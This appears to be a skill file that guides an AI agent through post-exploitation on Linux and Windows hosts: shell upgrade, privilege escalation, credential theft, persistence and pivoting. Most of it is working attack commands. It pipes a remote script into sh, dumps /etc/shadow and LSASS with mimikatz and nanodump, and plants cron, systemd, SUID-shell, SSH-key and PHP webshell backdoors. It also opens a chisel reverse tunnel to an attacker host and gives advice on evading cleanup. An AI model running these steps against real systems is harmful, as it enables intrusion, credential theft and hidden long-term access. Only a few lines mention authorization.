Post Exploit Technique

Post-Exploit Technique

Goal: move from low-privilege shell to full host control, harvest credentials, establish persistence, and set up lateral movement — reproducibly and with minimal noise.

Contents

• When this technique applies
• Boundary with other skills
• Tool families
• Initial triage
• Agent operating model
• Phase 1 — Shell stabilization
• Phase 2 — Situational awareness
• Phase 2a — Kernel tampering awareness
• Phase 3 — Local privilege escalation
• Phase 4 — Credential harvesting
• Phase 5 — Persistence
• Phase 6 — Lateral movement prep
• Quality gates
• Anti-patterns
• Resources

When this technique applies

• Initial shell obtained (reverse shell, webshell, RCE via vuln-exploit-technique).
• Need to escalate from www-data/low-user to root/SYSTEM.
• Need to extract credentials for lateral movement.
• Need to maintain access across reboots.
• Need to pivot into internal network segments.
• Need to evaluate cloud, Kubernetes, or CI/CD credentials discovered from a host or repository foothold.

Boundary with other skills

• Input from vuln-exploit-technique: stable shell, known user, target OS.
• Lateral movement to AD targets: load active-directory-technique for domain attacks.
• Network pivoting mechanics: use references/pivoting.md for tunnel setup, forwarding, SOCKS chains, and double pivots; keep network-technique for broader network investigation logic.
• Offensive coding: custom payloads, BOF, shellcode → offensive-coding/ skills.

Tool families

Initial triage

Before escalating or harvesting broadly, classify the foothold and choose the shortest path to higher privilege or next-hop access.

• Starting state: what OS and privilege level do you have, how stable is the shell, and is the host standalone, domain-joined, cloud-hosted, or part of a larger enclave?
• First questions: what local escalation paths are realistic, what credentials may exist here, what defenses are active, and does the mission require privilege, persistence, pivoting, or all three?
• Immediate actions: stabilize the shell, capture host context, and rank one privesc path, one credential path, and one pivot path before acting.
• Tool-family direction: use stabilization and privesc triage skills first (pwncat, evil-winrm, linpeas, winpeas, privesccheck, watson), then credential-harvest skills, then pivot and AD-oriented tools once the credential type and target path are known.
• Escalation rule: do not mix privilege escalation, persistence, and lateral movement simultaneously; confirm each stage before moving to the next.
• Pivoting rule: if the next objective is on an unreachable subnet, set up and validate the pivot before running downstream enumeration or exploitation.

Agent operating model

Loop:
  1. Stabilize shell and confirm context.
  2. Situational awareness — OS, user, network, defenses.
  3. Local privilege escalation — automated triage → manual confirmation.
  4. Credential harvest — dump, search, capture.
  5. Persistence — survive reboot, evade cleanup.
  6. Lateral movement prep — pivot routes, credential handoff.

Stop when: root/SYSTEM achieved, credentials for next hop secured, persistence confirmed.

Do not skip shell stabilization — unstable shells cause false negatives in enumeration tools.

Phase 1 — Shell stabilization

Convert dumb reverse shell to interactive TTY before running any tools.

# Python PTY upgrade (Linux)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then: Ctrl+Z → stty raw -echo; fg → reset; export TERM=xterm

# Script method
script /dev/null -c bash

# pwncat-cs (recommended — auto-upgrades and handles file transfer)
pwncat-cs -lp 4444

Windows:

# evil-winrm gives full PTY over WinRM
evil-winrm -i <target> -u <user> -p <pass>

# pwncat (Windows target via netcat reverse shell)
# Upgrade via powershell conPTY support

See offensive-tools/shells/revshells/ for shell generation, offensive-tools/shells/revshellgen/ for generators, offensive-tools/linux/pwncat/ for stabilization, and offensive-tools/windows/evil-winrm/ for WinRM sessions.

Driving a shell over a non-interactive / agent channel

When the shell is driven programmatically (a send/read harness, not a live terminal), the human stabilization above backfires — apply these instead:

• Transfer files by pull, not paste. Pasting a large base64 blob into the shell corrupts (terminal/transport mangling — the same failure mode as a truncated inline config). Serve from your box and fetch on the target: python3 -m http.server 8000 --bind <your-ip> then curl -s http://<your-ip>:8000/x -o /tmp/x (over a VPN, <your-ip> is your tun0 — reachable by the target even when your host is NAT'd).
• Do not pty.spawn over a non-TTY channel — the nested interactive shell swallows the harness's input and the session wedges. Keep commands non-interactive, or catch the shell with pwncat-cs (listener-side PTY upgrade).
• Answer prompts without the interactive loop. sudo -S takes the password on stdin (echo 'pw' | sudo -S -l); su/ssh require a TTY — drive them from a tiny self-contained pty.fork() helper delivered via the pull method, not by typing into the prompt across the harness (its retries will eat your next commands).
• Reverse-shell lifetime: a blocking payload stays alive because the parent holds the request open; a backgrounded/detached one is often reaped by service cgroup cleanup. If an exploit drops a file that an unauthenticated loop re-reads, clean it up or name it to sort first, so a stale artifact can't abort processing before the live payload runs.

Phase 2 — Situational awareness

Run before any escalation attempt. Answers: who am I, what is this host, what is reachable?

# Identity and privilege
id; whoami; groups; sudo -l; cat /etc/passwd | grep -v nologin

# OS and kernel
uname -a; cat /etc/os-release; lsb_release -a 2>/dev/null

# Network context
ip a; ip r; cat /etc/hosts; ss -tnlp; arp -n

# Running processes
ps aux; systemctl list-units --type=service

# Interesting files quick check
find / -perm -u=s -type f 2>/dev/null        # SUID binaries
find / -writable -type f 2>/dev/null | grep -v proc | head -30
crontab -l; ls /etc/cron*

Windows equivalent:

whoami /all; net user; net localgroup administrators
systeminfo; hostname; ipconfig /all; route print
netstat -ano; tasklist /v

Loopback-only services after foothold

External scanning cannot see listeners bound to loopback. Enumerate local TCP listeners, then correlate address:port → PID → process/service → service account → binary/data-dir ACLs. Query the service locally or through a scoped tunnel; inspect configuration, backups, historical files, and exact application version before searching for an advisory. Validate any obtained session with an explicit harmless application response, and preserve service state—do not reset data paths, replace databases, or restart a working service merely to test reachability.

Phase 2a — Kernel tampering awareness

Run these checks when process, file, or network views disagree, or when the host may already contain an LKM rootkit such as Reptile or Diamorphine. Treat hits as leads until corroborated by more than one artifact.

Module-level checks

lsmod
cat /proc/modules
ls -la /sys/module/ | grep -i -E "reptile|diamorphine|sneaky|hide"
ls -la /proc/reptile 2>/dev/null
cat /proc/reptile/version 2>/dev/null

Syscall table, file, and fd indicators

grep " sys_call_table" /proc/kallsyms
ls -la /proc/*/fd/ 2>/dev/null | grep -i reptile
cat /proc/net/tcp; cat /proc/net/udp; ss -tlnp
ls -la /dev/mem /dev/kmem /dev/port

Rootkit-specific indicators

ls /proc/reptile/files 2>/dev/null
ls /proc/reptile/pids 2>/dev/null
# Diamorphine commonly uses signal 63 to toggle process visibility; do not send it unless explicitly authorized.

Hidden-file and boot persistence checks

nsenter --mount=/proc/1/ns/mnt find / -name "*reptile*" 2>/dev/null
lsinitramfs /boot/initrd.img-$(uname -r) | grep -i -E "reptile|kmod|rootkit"

Quality gate: Do not unload modules or alter rootkit state during triage unless cleanup is explicitly in scope. Preserve command output and compare independent views (lsmod, /proc/modules, /sys/module, ss, /proc/net/*).

Related: offensive-tools/linux/linpeas/, offensive-tools/linux/linux-persistence/.

Phase 3 — Local privilege escalation

Linux

Run automated triage first, then confirm manually.

Automated:

# linpeas — comprehensive Linux privesc triage
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh   # or upload and run
./linpeas.sh 2>/dev/null | tee /tmp/linpeas.out    # add -a for full noisy scan, -s to skip slow checks

# linux-exploit-suggester — kernel exploit matching
./linux-exploit-suggester.sh
./linux-exploit-suggester-2.sh -k $(uname -r | cut -d- -f1)   # LES2 -k needs bare X.Y.Z

See offensive-tools/linux/linpeas/, offensive-tools/linux/linux-exploit-suggester/.

Manual priority checklist:

- [ ] sudo -l → NOPASSWD entries → GTFOBins for that binary
- [ ] sudo --version → version-specific CVEs even with no sudoers entry (Baron Samedit CVE-2021-3156; sudoedit CVE-2023-22809 if you have sudoedit/-e on any file)
- [ ] SUID/SGID binaries → GTFOBins check
- [ ] Writable /etc/passwd or /etc/sudoers
- [ ] Cron jobs running as root with writable script/path
- [ ] Writable service unit files
- [ ] PATH hijacking: relative command in root-owned script
- [ ] Capabilities: getcap -r / 2>/dev/null
- [ ] NFS no_root_squash mounts
- [ ] Docker group membership → docker run -v /:/host escape
- [ ] Kernel/glibc exploit: check CVEs for exact `uname -r` AND `ldd --version` (Dirty Pipe, nf_tables CVE-2024-1086, GameOver(lay), PwnKit, Looney Tunables CVE-2023-4911)
- [ ] Root-owned archive extraction (tar/zip/cpio): zip-slip, symlink escape, PATH_MAX bypass
- [ ] Privileged backup/upload/restore pipeline: reconstruct unreadable live stages, verify retained-backup freshness, and inspect shared work directories for validate-then-reopen races
- [ ] Scheduled job/watcher feeds attacker-controlled files to a parser as a higher-priv user (fontforge/ImageMagick/gs/exiftool/soffice/pandoc) → code-exec via format features
- [ ] Custom sudo-allowed wrapper script → trace its library sink (download/deserialize/template/eval), not just the binary
- [ ] Loopback-only service running as root (ss -ltnp | grep 127.0.0.1): admin panel that runs commands as root (OliveTin/Cockpit/Webmin/Semaphore) → guest-exec + argument-type injection
- [ ] Connectable unix socket owned by a higher-priv user (ls -l /run/**/*.sock → srw-rw---- root:yourgroup): daemon may pass a root-opened fd via SCM_RIGHTS → read a root-only file, or offer a file-op/exec primitive

→ Full patterns: references/linux-privesc.md (sections 1, 10, 11, 12, 13).

When privesc depends on a scheduled trigger, do not wait on it blind: catch the real job and its full argv with pspy/ps (a .bak/old copy is not proof of the running version), then reproduce the trigger directly — run the same processor as your current user to confirm the payload fires and to read its error output immediately. Have the real tool emit any strict serialized/binary payload rather than hand-rolling it.

Windows

Automated:

# winpeas — comprehensive Windows privesc triage
.\winPEASx64.exe > winpeas.out

# privesccheck
Import-Module .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended | Tee-Object privesc.out

# watson — patch-level missing CVEs
.\Watson.exe

See offensive-tools/windows/winpeas/, offensive-tools/windows/privesccheck/, offensive-tools/windows/watson/.

Manual priority checklist:

- [ ] AlwaysInstallElevated: both HKCU+HKLM set → msi payload
- [ ] Unquoted service paths with writable directory
- [ ] Weak service/file permissions (icacls on service binary)
- [ ] SeImpersonatePrivilege / SeAssignPrimaryToken → Potato family (PrintSpoofer/GodPotato; JuicyPotato only pre-1809)
- [ ] SeBackupPrivilege/SeRestore/SeManageVolume, or Backup Operators / DnsAdmins group → direct SYSTEM/DC path
- [ ] HiveNightmare/SeriousSAM (CVE-2021-36934): icacls %windir%\system32\config\SAM → Users:(R) + a shadow copy → read hives
- [ ] Writable registry run keys
- [ ] Scheduled tasks running as SYSTEM with writable binary
- [ ] DLL hijacking: service with missing DLL in writable path
- [ ] UAC bypass: check UAC level, known bypass techniques
- [ ] Stored credentials: cmdkey /list, credential manager
- [ ] Windows Admin Center / local management gateway: map each endpoint's execution and file-operation identity; load `references/windows-admin-center.md`

→ Full patterns: references/windows-privesc.md.

Phase 4 — Credential harvesting

Extract credentials for current host and lateral movement.

Linux

# Memory credential dump
./mimipenguin.sh              # dump plaintext from memory (root required)

# SSH key harvest
find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
cat ~/.ssh/authorized_keys; ls ~/.ssh/

# Config files with credentials
find / -name "*.conf" -o -name "*.env" -o -name "*.cfg" 2>/dev/null | xargs grep -l "password\|passwd\|secret\|token" 2>/dev/null | head -20
grep -r "DB_PASS\|DB_PASSWORD\|mysql_connect\|PDO" /var/www/ 2>/dev/null

# Shadow file (if root)
cat /etc/shadow; unshadow /etc/passwd /etc/shadow > unshadowed.txt  # then hashcat/john

# Browser/app credentials
find / -name "*.sqlite" -path "*firefox*" -o -name "Login Data" -path "*chrome*" 2>/dev/null

See offensive-tools/linux/mimipenguin/, offensive-tools/linux/ssh-key-scanner/.

Windows

# Mimikatz — primary Windows credential dump
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "lsadump::sam" "exit"

# Nanodump — LSASS dump (stealthier than mimikatz direct)
.\nanodump.exe -w lsass.dmp
# Transfer dump, then parse locally with mimikatz

# LaZagne — multi-source credential harvest (browsers, apps, wifi, DB)
.\lazagne.exe all

# Credential Manager dump
cmdkey /list
.\mimikatz.exe "vault::cred" "vault::list" "exit"

# SAM/SYSTEM offline (if SeBackupPrivilege or volume shadow)
reg save HKLM\SAM sam.bak
reg save HKLM\SYSTEM system.bak
# Transfer and parse: python3 secretsdump.py -sam sam.bak -system system.bak LOCAL

See offensive-tools/windows/mimikatz/, offensive-tools/windows/nanodump/, offensive-tools/windows/lazagne/.

→ Full credential sources and parsing: references/credential-harvest.md.

Cloud and CI/CD credentials require different handling: record token expiry, tenant/project scope, effective permissions, and audit-log footprint before use. For managed identities, service principals, CI variables, OIDC tokens, Kubernetes service accounts, and serverless deploy paths, use references/cloud-and-cicd-post-exploit.md.

Phase 5 — Persistence

Survive reboots and cleanup attempts.

Linux persistence patterns

# Cron persistence
(crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/.svc >/dev/null 2>&1") | crontab -

# Systemd service
cat > /etc/systemd/system/svc.service << EOF
[Unit]
After=network.target
[Service]
ExecStart=/tmp/.svc
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable svc.service --now

# SSH key injection (if /root/.ssh writable)
echo "ssh-rsa AAAA... attacker_key" >> /root/.ssh/authorized_keys

# SUID shell backdoor (if root)
cp /bin/bash /tmp/.bash; chmod +s /tmp/.bash
# Access: /tmp/.bash -p

# Webshell persistence
echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/.config.php

See offensive-tools/linux/linux-persistence/.

Windows persistence patterns

# Registry run key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v svc /t REG_SZ /d "C:\Users\Public\svc.exe"

# Scheduled task (SYSTEM)
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\svc.exe" /sc onstart /ru SYSTEM /f

# Service installation
sc create svc binpath= "C:\Windows\Temp\svc.exe" start= auto
sc start svc

# WMI event subscription (fileless, stealthy)
# See references/persistence.md for WMI persistence

# Golden ticket (domain) → load active-directory-technique

See offensive-tools/shells/weevely3/ for webshell persistence.

→ Full patterns by OS and stealth level: references/persistence.md.

Cloud or pipeline persistence (IAM credentials, serverless triggers, Kubernetes jobs, protected CI variables, deploy keys) is covered in references/cloud-and-cicd-post-exploit.md; prefer scoped, reversible proofs and avoid broad tenant-wide changes unless explicitly authorized.

Phase 6 — Lateral movement prep

Set up pivoting and credential handoff for next hops.

Pivot setup

# chisel (HTTP tunnel, works through restrictive firewalls)
# Attacker: ./chisel server -p 8080 --reverse
# Target:   ./chisel client <attacker>:8080 R:socks

# proxychains — route tools through SOCKS proxy (system tool; no dedicated repo skill yet)
# Edit /etc/proxychains4.conf → socks5 127.0.0.1 1080
# Then: proxychains nmap -sT -Pn 10.10.10.0/24

See references/pivoting.md for transport selection, egress-driven tunnel choice, double pivots, and validation flow. Use offensive-tools/network/chisel/ for tool-specific operation.

Credential handoff

• NTLM hashes → pass-the-hash via offensive-tools/windows/crackmapexec/ or offensive-tools/windows/impacket/ (load active-directory-technique)
• Plaintext passwords → spray across internal services (SSH, WinRM, SMB)
• Kerberos tickets → pass-the-ticket (load active-directory-technique)
• SSH keys → try against all discovered internal SSH services

→ Full lateral movement patterns: references/lateral-movement.md.

Quality gates

• Shell is stable and TTY before running enumeration tools.
• All privesc findings manually confirmed before exploitation.
• Credential dumps verified to parse correctly before transfer.
• Persistence tested across reboot simulation where possible.
• Pivot tunnel validated with a test connection before routing full scan.
• Pivot method selected by egress and tool need.

Anti-patterns

• Running linpeas/winpeas without stabilized shell → output corruption.
• Escalating directly to root without documenting the path → unreproducible.
• Storing dumps/credentials on target disk unencrypted.
• Establishing persistence with obvious binary names / cron comments.
• Passing hashes or tickets without confirming target service accepts that auth method.
• Polling a slow scheduled trigger blind instead of reproducing the processor directly for instant feedback.
• Trusting a .bak/old on-disk script as the live job, or hand-rolling a strict serialized/binary payload the parser then rejects — generate it with the real tool.
• Theorising a chain of bypasses before reading the actual source/cmdline when ground truth (file read, ps/pspy, direct tool run) is one cheap command away.

Resources

• references/linux-privesc.md — Linux privesc vector catalog: sudo, SUID, cron, capabilities, kernel exploits, Docker/LXC, NFS.
• references/backup-restore-pipelines.md — Load for privileged backup/upload/restore jobs with unreadable code, failed transfers, writable work directories, checksum gates, or same-UID workers that deny /proc access.
• references/windows-privesc.md — Windows privesc vector catalog: service abuse, token impersonation, Potato family, DLL hijacking, UAC bypass.
• references/windows-admin-center.md — Windows Admin Center and similar local gateways: listener/process mapping, per-endpoint identity proofs, service-token boundaries, updater/task ACL review, and reversible validation.
• references/credential-harvest.md — Linux and Windows credential sources, dump methods, parsing, and handoff format.
• references/persistence.md — Linux/Windows persistence by stealth tier: cron/systemd, registry/tasks, WMI, webshell, kernel-level.
• references/cloud-and-cicd-post-exploit.md — Cloud credential triage, CI/CD runner/repository footholds, serverless/Kubernetes persistence, and scoped proof discipline.
• references/lateral-movement.md — Lateral movement decision model: pivot route selection, credential type → protocol → tool mapping, SMB/SSH/WinRM/RDP patterns.
• references/pivoting.md — Pivoting transport selection and setup: chisel, SSH, socat, netsh portproxy, DNS/ICMP tunnels, double pivots, and validation rules.